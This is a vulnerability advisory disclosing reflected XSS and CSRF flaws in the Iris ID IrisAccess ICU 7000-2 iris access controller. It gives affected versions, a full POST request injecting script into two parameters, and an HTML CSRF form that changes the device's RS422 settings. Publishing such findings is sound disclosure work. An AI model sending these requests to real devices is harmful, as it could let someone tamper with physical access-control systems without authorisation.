Iris ID IrisAccess ICU 7000-2 XSS / Cross Site Request Forgery

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Iris ID IrisAccess ICU 7000-2 Multiple XSS and CSRF Vulnerabilities  
  
  
Vendor: Iris ID, Inc.  
Product web page: http://www.irisid.com  
Affected version: ICU Software: 1.00.08  
ICU OS: 1.3.8  
ICU File system: 1.3.8  
EIF Firmware [Channel 1]: 1.9  
EIF Firmware [Channel 2]: 1.9  
Iris TwoPi: 1.4.5  
  
Summary: The ICU 7000-2 is an optional component used when the client requires  
iris template data to be matched on the secure side of the door. When using ICU  
no data is stored in the iCAM7 Iris Reader itself. The ICU also ensures that portal  
operation can continue if the there is an interruption in communication with the  
host computer. In such circumstances, the ICU retains the records of portal activity,  
then automatically updates the host upon resumption of host communication. Every  
ICU in the iCAM4000 / 7 series runs on a LINUX OS for added reliability. Independent  
and fault tolerant, ICUs are connected up to 2 iCAMs and handle up to 100,000 users.  
  
Desc: The application is prone to multiple reflected cross-site scripting vulnerabilities  
due to a failure to properly sanitize user-supplied input to the 'HidChannelID' and  
'HidVerForPHP' POST parameters in the 'SetSmarcardSettings.php' script. Attackers can  
exploit this issue to execute arbitrary HTML and script code in a user's browser session.  
The application also allows users to perform certain actions via HTTP requests without  
performing any validity checks to verify the requests. This can be exploited to perform  
certain actions with administrative privileges if a logged-in user visits a malicious web  
site.  
  
Tested on: GNU/Linux 3.0.51 (armv7l)  
mylighttpd v1.0  
PHP/5.5.13  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2016-5345  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5345.php  
  
  
06.05.2016  
  
--  
  
  
XSS PoC:  
--------  
  
POST /html/SetSmarcardSettings.php HTTP/1.1  
Host: 10.0.0.17  
Connection: close  
Content-Length: x  
Cache-Control: max-age=0  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzczxmPRCR0fYr2SO  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.8  
  
------WebKitFormBoundaryzczxmPRCR0fYr2SO  
Content-Disposition: form-data; name="HidChannelID"  
  
2"><script>alert(1)</script>  
------WebKitFormBoundaryzczxmPRCR0fYr2SO  
Content-Disposition: form-data; name="HidcmbBook"  
  
0  
------WebKitFormBoundaryzczxmPRCR0fYr2SO  
Content-Disposition: form-data; name="cmbBook"  
  
0  
------WebKitFormBoundaryzczxmPRCR0fYr2SO  
Content-Disposition: form-data; name="HidDisOffSet"  
  
13  
------WebKitFormBoundaryzczxmPRCR0fYr2SO  
Content-Disposition: form-data; name="txtOffSet"  
  
13  
------WebKitFormBoundaryzczxmPRCR0fYr2SO  
Content-Disposition: form-data; name="HidDataFormat"  
  
1  
------WebKitFormBoundaryzczxmPRCR0fYr2SO  
Content-Disposition: form-data; name="HidDataFormatVal"  
  
1  
------WebKitFormBoundaryzczxmPRCR0fYr2SO  
Content-Disposition: form-data; name="DataFormat"  
  
1  
------WebKitFormBoundaryzczxmPRCR0fYr2SO  
Content-Disposition: form-data; name="HidFileAvailable"  
  
0  
------WebKitFormBoundaryzczxmPRCR0fYr2SO  
Content-Disposition: form-data; name="HidEncryAlg"  
  
0  
------WebKitFormBoundaryzczxmPRCR0fYr2SO  
Content-Disposition: form-data; name="EncryAlg"  
  
0  
------WebKitFormBoundaryzczxmPRCR0fYr2SO  
Content-Disposition: form-data; name="HidFileType"  
  
0  
------WebKitFormBoundaryzczxmPRCR0fYr2SO  
Content-Disposition: form-data; name="HidIsFileSelect"  
  
0  
------WebKitFormBoundaryzczxmPRCR0fYr2SO  
Content-Disposition: form-data; name="HidUseAsProxCard"  
  
0  
------WebKitFormBoundaryzczxmPRCR0fYr2SO  
Content-Disposition: form-data; name="HidVerForPHP"  
  
1.00.08"><script>alert(2)</script>  
------WebKitFormBoundaryzczxmPRCR0fYr2SO--  
  
  
  
CSRF PoC:  
---------  
  
<html>  
<body>  
<form action="http://10.0.0.17/cgi-bin/SetRS422Settings" method="POST">  
<input type="hidden" name="HidChannelID" value="2" />  
<input type="hidden" name="RS422State" value="0" />  
<input type="hidden" name="HidRS422BitsSec" value="9" />  
<input type="hidden" name="HidRS422DataBits" value="3" />  
<input type="hidden" name="HidRS422Parity" value="1" />  
<input type="hidden" name="HidRS422StopBits" value="2" />  
<input type="hidden" name="HidRS422StartCharLength" value="2" />  
<input type="hidden" name="HidRS422EndCharLength" value="2" />  
<input type="hidden" name="HidRS422StartOne" value="7F" />  
<input type="hidden" name="HidRS422StartTwo" value="F7" />  
<input type="hidden" name="HidRS422EndOne" value="0D" />  
<input type="hidden" name="HidRS422EndTwo" value="0A" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
`